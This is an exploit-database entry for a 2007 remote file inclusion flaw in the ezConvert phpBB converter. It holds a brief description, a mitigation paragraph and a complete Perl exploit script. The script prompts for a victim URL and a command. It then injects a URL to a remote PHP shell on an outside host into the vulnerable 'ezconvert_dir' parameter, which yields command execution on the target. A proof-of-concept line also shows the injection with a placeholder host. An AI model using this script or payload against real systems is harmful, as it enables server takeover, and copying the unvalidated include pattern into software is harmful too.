header-logo
Suggest Exploit
vendor:
ezConvert
by:
xoron
7.5
CVSS
HIGH
Remote File Inclusion
CWE
Product Name: ezConvert
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

ezConvert: phpBB ezBoard converter v0.2 (ezconvert_dir) Remote File Include Exploit

This exploit allows an attacker to remotely include a malicious file in the ezConvert PHP script. The vulnerable code is found in the 'config.php' file where the 'ezconvert_dir' parameter is not properly validated before being included. By manipulating this parameter, an attacker can include a remote file and execute arbitrary code on the target system.

Mitigation:

To mitigate this vulnerability, the developer should ensure that all user-supplied input is properly validated and sanitized before being used in file inclusion operations. Additionally, it is recommended to keep the software up-to-date with the latest security patches.
Source

Exploit-DB raw data:

# (C) xoron
#
# [Name: ezConvert: phpBB ezBoard converter v0.2 (ezconvert_dir) Remote File Include Exploit]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=114129]
#
# [xoron.biz - xoron.info]
#
# [www.xoron.info/bugs/ezconvert.txt]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0, DJR]
# 
# [POC: /ezconvert/config.php?ezconvert_dir=http://evilscripts?
#
# [Vuln Codes: include ($ezconvert_dir . 'ezboard-parse.' . $phpEx);
#              include ($ezconvert_dir . 'phpbb-insert.' . $phpEx);
#
#
$rfi = "config.php?ezconvert_dir="; 
$path = "/ezconvert/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Acýk Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-02]